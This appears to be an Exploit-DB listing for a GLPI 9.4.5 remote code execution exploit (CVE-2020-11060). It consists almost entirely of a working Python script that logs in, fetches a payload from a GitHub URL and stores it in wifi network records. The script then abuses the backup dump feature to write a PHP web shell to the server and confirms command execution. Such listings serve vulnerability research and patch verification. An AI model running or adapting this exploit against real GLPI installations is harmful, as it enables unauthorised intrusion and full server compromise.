GLPI 9.4.5 - Remote Code Execution (RCE)

EDB-ID:

49992




Platform:

PHP

Date:

2021-06-14


# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
# Exploit Author: Brian Peters
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: < 9.4.6
# CVE: CVE-2020-11060

# Download a SQL dump and find the table offset for "wifinetworks" with 
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
# Update the offsettable value with this number in the create_dump function
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
# on the Set-Cookie hash.

#!/usr/bin/python

import argparse
import json
import random
import re
import requests
import string
import sys
import time
from datetime import datetime
from lxml import html

class GlpiBrowser:
    
    def __init__(self, url, user, password, platform):
        self.url = url
        self.user = user
        self.password = password
        self.platform = platform
        
        self.session = requests.Session()
        self.session.verify = False
        requests.packages.urllib3.disable_warnings()
    
    def extract_csrf(self, html):
        return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
        r = self.session.get('{0}'.format(self.url), allow_redirects=True)
        
        csrf_token = self.extract_csrf(r.text)
        name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
        pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
        
        return name_field, pass_field, csrf_token
    
    def login(self):
        try:
            name_field, pass_field, csrf_token = self.get_login_data()
        except Exception as e:
            print "[-] Login error: could not retrieve form data"
            sys.exit(1)
        
        data = {
            name_field: self.user, 
            pass_field: self.password,
            "auth": "local",
            "submit": "Post",
            "_glpi_csrf_token": csrf_token
        }
        
        r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
        
        return r.status_code == 302
        
    def wipe_networks(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        
        r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Edit network error: could not retrieve form data"
            sys.exit(1)
            
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
        	rawlinkparts = rawlink.split("=")
        	networkid = rawlinkparts[-1]
        	print "Deleting network "+networkid
        	
        	data = {
        	    "entities_id": "0",
	            "is_recursive": "0",
        	    "name": "PoC",
        	    "comment": comment,
        	    "essid": "RCE"+padding,
        	    "mode": "ad-hoc",
		    "purge": "Delete permanently",
		    "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    '_read_date_mod': datemod
                }
        
                r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
    
    def create_network(self, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content

        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        try:
            csrf_token = self.extract_csrf(r.text)
        except Exception as e:
            print "[-] Create network error: could not retrieve form data"
            sys.exit(1)
        
        data = {
	    "entities_id": "0",
	    "is_recursive": "0",
	    "name": "PoC",
	    "comment": comment,
	    "essid": "RCE",
	    "mode": "ad-hoc",
	    "add": "ADD",
            "_glpi_csrf_token": csrf_token,
            '_read_date_mod': datemod
        }
        
        r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
        print "[+] Network created"
        print "      Name: PoC"
        print "      ESSID: RCE"
        
    def edit_network(self, padding, datemod):
        r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
        comment = r.content
        #create the padding for the name and essid
        
        
        r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
        webpage = html.fromstring(r.content)
        links = webpage.xpath('//a/@href')
        for rawlink in links:
            if "wifinetwork.form.php?id=" in rawlink:
                rawlinkparts = rawlink.split('/')
                link = rawlinkparts[-1]
                
                #edit the network name and essid
                r = self.session.get('{0}/front/{1}'.format(self.url, link))
                try:
            	    csrf_token = self.extract_csrf(r.text)
        	except Exception as e:
        	    print "[-] Edit network error: could not retrieve form data"
        	    sys.exit(1)
        	    
        	rawlinkparts = rawlink.split("=")
        	networkid = rawlinkparts[-1]
        	        	    
                data = {
        	    "entities_id": "0",
        	    "is_recursive": "0",
        	    "name": "PoC",
        	    "comment": comment,
        	    "essid": "RCE"+padding,
        	    "mode": "ad-hoc",
        	    "update": "Save",
        	    "id": networkid,
                    "_glpi_csrf_token": csrf_token,
                    "_read_date_mod": datemod
                }
                r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)
                print "[+] Network mofified"
                print "      New ESSID: RCE"+padding
    
    def create_dump(self, shellname):
        path=''
        if self.platform == "Win":
            path="C:\\xampp\\htdocs\\pics\\"
        elif self.platform == "Nix":
            path="/var/www/html/glpi/pics/"
        
        #adjust offset number to match the table number for wifi_networks
        #this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks"
        r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname))
        
        print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)
        
    def shell_check(self, shellname):
        r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))
        print "      Shell size: "+str(len(r.content))
        if "asdfasdfasdf" in r.content:
            print "[+] RCE FOUND!"
            sys.exit(1)
        return len(r.content)
    
    def pwn(self):
        if not self.login():
            print "[-] Login error"
            return
        else:
            print "[+] Logged in"

	#create timestamp
	now = datetime.now()
	datemod = now.strftime("%Y-%m-%d %H:%M:%S")

        #create comment payload
        
        tick=1
	while True:
	    #create random shell name
            letters = string.ascii_letters
	    shellname = ''.join(random.choice(letters) for i in range(8))+".php"
	    
	    #create padding for ESSID
	    padding = ''
            for i in range(1,int(tick)+1):
                padding+=str(i)
	    
	    self.wipe_networks(padding, datemod)
	    self.create_network(datemod)
            self.edit_network(padding, datemod)            
            self.create_dump(shellname)
            self.shell_check(shellname)
	    print "\n"
            raw_input("Press any key to continue with the next iteration...")
            tick+=1

        return
        
if __name__ == '__main__':
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL", required=True)
    parser.add_argument("--user", help="Username", required=True)
    parser.add_argument("--password", help="Password", required=True)
    parser.add_argument("--platform", help="Win/Nix", required=True)
    
    args = parser.parse_args()
    
    g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)
    
    g.pwn()